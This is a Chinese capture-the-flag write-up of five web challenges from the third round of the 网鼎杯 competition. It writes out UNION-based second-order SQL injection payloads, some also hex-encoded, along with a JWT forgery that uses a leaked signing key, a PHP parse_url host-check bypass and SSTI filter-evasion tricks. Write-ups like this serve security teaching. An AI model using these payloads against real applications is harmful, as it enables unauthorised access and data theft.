网鼎杯第三次(web)

web~~~~~~~~~gold

题目本身是一个游戏,获得1000个金币即通关。
抓包分析


image.png

这个应该就是发给服务端的数额,修改为1000传过去,发现无效emmmmm??
后面发现,我截包的时候,页面还是一如既往的在运行,想到要不我也爆破一次试试,第一次从1-1005,step为1,结果失败,第二次从1-1005,step为2,结果也失败,第三次从0-1005,step为5,成功获得flag


image.png

web~~~~~~~~~i_am_admin

使用提示的账号test/test登陆,看到有一个set-cookie和secret

image.png

image.png

base64解码得到
image.png

下面伪造admin身份
jwt伪造
image.png

抓取登陆之后的get包,替换auth

赛后get到一个新姿势,python有一个库支持jwt构造。这里感概下python的强大

root@DECADE:~# pip install PyJWT
Downloading/unpacking PyJWT
  Downloading PyJWT-1.6.4-py2.py3-none-any.whl
Installing collected packages: PyJWT
Successfully installed PyJWT
Cleaning up...
root@DECADE:~# python
Python 2.7.6 (default, Nov 23 2017, 15:49:48) 
[GCC 4.8.4] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> import jwt
>>> encoded=jwt.encode({u'username':u'admin'},'uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+',algorithm='HS256')
>>> encoded
'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.NYSsNZ1gR8EUYebNTmXPBhdoh-mA5OjHkeWjM4gPxqY'

web~~~~~~~~~comein

题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

emm复现的时候,网址挂了
这里本地复现一次,题目进去之后可以看到源码如下,略有修改

<?php
$uri=$_SERVER['REQUEST_URI'];
var_dump('$uri = '.$uri);
var_dump(strpos(urldecode($uri),'.'));
if(strpos(urldecode($uri),'.'))
    die("unknow uri");
var_dump('parse_url($uri, PHP_URL_HOST) = '.parse_url($uri, PHP_URL_HOST));
if(!parse_url($uri, PHP_URL_HOST))
  $uri='http://'.$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
var_dump('$uri2 = '.$uri);
$host=parse_url($uri, PHP_URL_HOST);
var_dump('$whoareyou = '.$host);
?>
image.png

web~~~~~~~~~~phone

类型题:2017广东省强网杯第三题

题目进去之后注册,注册时候要求填一个手机号码,登陆成功可查询与你电话相同的人数,这里猜测是二次注入。


image.png

下面是获取步骤

1' union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#
#flag user

1' union select group_concat(column_name) from information_schema.columns where table_name="flag" order by 1 desc#
#f14g

1' union select f14g from flag order by 1 desc#
#flag{780dc32c-c249-4068-8f17-2a250e7071b7}


全部转换成16进制即可获得flag
0x312720756e696f6e2073656c6563742067726f75705f636f6e636174287461626c655f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573207768657265207461626c655f736368656d613d64617461626173652829206f726465722062792031206465736323

312720756e696f6e2073656c6563742067726f75705f636f6e63617428636f6c756d6e5f6e616d65292066726f6d20696e666f726d6174696f6e5f736368656d612e636f6c756d6e73207768657265207461626c655f6e616d653d22666c616722206f726465722062792031206465736323

312720756e696f6e2073656c65637420663134672066726f6d20666c6167206f726465722062792031206465736323

web~~~~~~mmmmy

image.png

image.png

用之前的test/test登陆进去。如出一辙,jwt,但这次没有key,所以要爆破
参考:jwt的key爆破
用之前python的jwt伪造

image.png

image.png

image.png

经过fuzz,发现过滤的{{ ' " __字符
{{可用{%%}标记绕过
__可用request.args.a绕过
构造的payload如下
image.png